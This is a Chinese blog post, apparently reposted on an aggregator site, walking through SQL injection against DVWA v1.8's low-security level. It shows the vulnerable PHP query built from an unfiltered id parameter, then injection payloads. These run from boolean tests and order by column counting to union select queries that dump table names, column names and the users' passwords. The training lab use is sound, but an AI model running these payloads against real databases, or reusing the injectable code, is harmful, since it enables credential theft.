DVWA平台v1.8-SQL注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA平台v1.8-SQL注入相关的知识,希望对你有一定的参考价值。

代码

<?php     

if(isset($_GET[‘Submit‘])){ 
     
    // Retrieve data 
     
    $id = $_GET[‘id‘]; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘"; 
    $result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
         
        echo ‘<pre>‘; 
        echo ‘ID: ‘ . $id . ‘<br>名字: ‘ . $first . ‘<br>姓氏: ‘ . $last; 
        echo ‘</pre>‘; 

        $i++; 
    } 
} 
?>

该代码没有对传入的id进行检测和过滤,且为字符型注入

技术分享图片

 

提交1,搜索

技术分享图片

 提交单引号,报错

技术分享图片


提交1 and 1=1,查询,返回正确

技术分享图片

提交1 and 1=2,查询,返回正确

技术分享图片

提交1‘and ‘1‘ =‘1,查询,返回正确

技术分享图片

 提交1‘and ‘1‘ =‘2,查询,无返回

技术分享图片

判断为字符型注入

order by查询字段数

1‘ order by 1#,返回正确

1‘ order by 2#,返回正确

1‘ order by 3#,返回错误

有两个字段

爆字段

1‘ union select 1,2#

技术分享图片

查询一下数据库版本和当前数据库名

1‘ union select version(),database()#

技术分享图片

数据库版本为5.5.40,当前数据库名为dvwa

查询数据库中的表

1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

技术分享图片

有guestbook和users两个表

查询users这个表

1‘  union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

注:table_name后面跟着是users的Hex值

技术分享图片

 对user和password的内容进行读取

-1‘ union select user,password from users#

技术分享图片

 


以上是关于DVWA平台v1.8-SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

DVWA亲测SQL注入漏洞

漏洞防范:搭建漏洞靶场DVWA,DVWA之SQL注入漏洞,利用sqlmap把复杂的程序自动化

DVWA SQL注入源代码审计

DVWA SQL注入源代码审计

DVWA平台的CSRF漏洞实验

DVWA系列----Command Injection (命令行注入)